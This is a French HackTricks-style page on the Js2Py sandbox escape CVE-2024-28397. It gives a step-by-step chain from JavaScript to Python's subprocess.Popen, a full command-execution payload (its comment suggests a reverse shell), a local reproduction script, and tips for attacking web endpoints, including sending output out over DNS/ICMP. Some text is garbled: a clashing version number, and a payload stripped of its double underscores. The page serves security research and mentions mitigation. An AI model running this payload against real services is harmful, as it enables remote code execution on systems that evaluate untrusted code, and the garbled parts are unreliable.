Js2Py sandbox escape (CVE-2024-28397)

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Js2Py traduit JavaScript en objets Python, donc même lorsque js2py.disable_pyimport() est utilisé, du JS non fiable peut parcourir les internals Python pour atteindre des classes dangereuses telles que subprocess.Popen. Les versions 20.74 permettent d’abuser des primitives de réflexion Python que Js2Py expose aux objets JS pour obtenir RCE depuis du JavaScript autrement “sandboxed”.

Primitive : pivot des wrappers d’objets JS vers des objets Python

  1. Obtenir un objet adossé à Python: Object.getOwnPropertyNames({}) renvoie un objet dict_keys dans l’espace Python.
  2. Récupérer l’accès aux attributs: récupérer .__getattribute__ depuis cet objet et l’appeler pour lire des attributs arbitraires (par ex., "__class__").
  3. Gravir jusqu’à object: depuis <class 'dict_keys'> lire .__base__ pour atteindre la classe de base Python object.
  4. Énumérer les classes chargées: appeler object.__subclasses__() pour parcourir chaque classe déjà chargée dans l’interpréteur.
  5. Trouver subprocess.Popen: rechercher récursivement dans les sous-classes où __module__ == "subprocess" et __name__ == "Popen".
  6. Exécuter une commande: instancier Popen avec des arguments contrôlés par l’attaquant et invoquer .communicate() pour capturer la sortie.
Exemple de payload abusant Js2Py pour atteindre subprocess.Popen ```javascript // Replace cmd with desired payload (reverse shell / ping / etc.) let cmd = "id"; let hacked, bymarve, n11; let getattr, obj;

hacked = Object.getOwnPropertyNames({}); // -> dict_keys([]) bymarve = hacked.getattribute; n11 = bymarve(“getattribute”); // attribute access primitive obj = n11(“class”).base; // pivot to <class ‘object’> getattr = obj.getattribute;

function findpopen(o) { let result; for (let i in o.subclasses()) { let item = o.subclasses()[i]; if (item.module == “subprocess” && item.name == “Popen”) { return item; } if (item.name != “type” && (result = findpopen(item))) { return result; } } }

// Popen(cmd, stdin/out/err pipes…) then .communicate() for output n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate(); console.log(n11); n11; // returned to caller if framework sends eval_js result back

</details>

Pourquoi cela fonctionne : Js2Py expose des wrappers d'objets Python vers JS sans supprimer `__getattribute__`, `__class__`, `__base__`, ou `__subclasses__`. `disable_pyimport()` bloque uniquement `pyimport` explicite, mais la chaîne ci‑dessus n'importe jamais rien de nouveau ; elle réutilise des modules et classes déjà chargés en mémoire.

## Reproduire la chaîne localement
```bash
# Js2Py 0.74 breaks on Python 3.12/3.13; pin 3.11 for testing
uv run --with js2py==0.74 --python 3.11 python - <<'PY'
import js2py
print(js2py.eval_js("Object.getOwnPropertyNames({})"))                      # dict_keys([])
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__"))    # method-wrapper
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\")"))
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\").__base__"))
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\").__base__.__subclasses__()"))
PY

Opérer contre les sandboxes web

  • Tout endpoint qui envoie du JS contrôlé par un attaquant vers js2py.eval_js (par exemple, une API Flask /run_code) permet immédiatement une RCE si l’utilisateur du processus a accès au shell.
  • Retourner jsonify({'result': result}) échouera lorsque .communicate() renverra des bytes ; décodez ou redirigez la sortie vers DNS/ICMP pour éviter les bloqueurs de sérialisation.
  • disable_pyimport() ne mitige pas cette chaîne ; une isolation stricte (processus/conteneur séparé) ou la suppression de l’exécution de code non fiable par Js2Py est requise.

References

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks